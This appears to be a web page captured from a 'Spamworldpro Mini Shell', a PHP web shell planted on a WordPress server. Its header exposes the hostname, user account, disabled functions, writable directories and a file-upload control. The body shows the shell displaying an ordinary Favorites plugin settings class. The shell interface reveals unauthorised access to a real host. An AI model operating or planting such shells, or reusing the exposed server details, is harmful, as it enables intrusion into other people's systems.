Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mets-rebuild.corals.io/wp-content/plugins/favorites/app/Config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mets-rebuild.corals.io/wp-content/plugins/favorites/app/Config/Settings.php
<?php 
namespace Favorites\Config;

use Favorites\Config\SettingsRepository;
use Favorites\Entities\PostType\PostTypeRepository;
use Favorites\Helpers;

/**
* Plugin Settings
*/
class Settings 
{
	/**
	* Plugin Name
	*/
	private $plugin_name;

	/**
	* Settings Repository
	*/
	private $settings_repo;

	/**
	* Post Type Repository
	*/
	private $post_type_repo;

	public function __construct()
	{
		$this->settings_repo = new SettingsRepository;
		$this->post_type_repo = new PostTypeRepository;
		$this->setName();
		add_action( 'admin_init', [$this, 'registerSettings']);
		add_action( 'admin_menu', [$this, 'registerSettingsPage']);
	}

	/**
	* Set the plugin name
	*/
	private function setName()
	{
		global $favorites_name;
		$this->plugin_name = $favorites_name;
	}

	/**
	* Register the settings page
	*/
	public function registerSettingsPage()
	{
		add_options_page( 
			$this->plugin_name . ' ' . __('Settings', 'favorites'),
			$this->plugin_name,
			'manage_options',
			'simple-favorites', 
			[$this, 'settingsPage']
		);
	}

	/**
	* Display the Settings Page
	*/
	public function settingsPage()
	{
		$tab = ( isset($_GET['tab']) ) ? sanitize_text_field($_GET['tab']) : 'general';
		include( Helpers::view('settings/settings') );
	}

	/**
	* Register the settings
	*/
	public function registerSettings()
	{
		register_setting( 'simple-favorites-general', 'simplefavorites_dependencies' );
		register_setting( 'simple-favorites-general', 'simplefavorites_cache_enabled' );
		register_setting( 'simple-favorites-general', 'simplefavorites_dev_mode');
		register_setting( 'simple-favorites-users', 'simplefavorites_users' );
		register_setting( 'simple-favorites-display', 'simplefavorites_display' );
	}
}

Spamworldpro Mini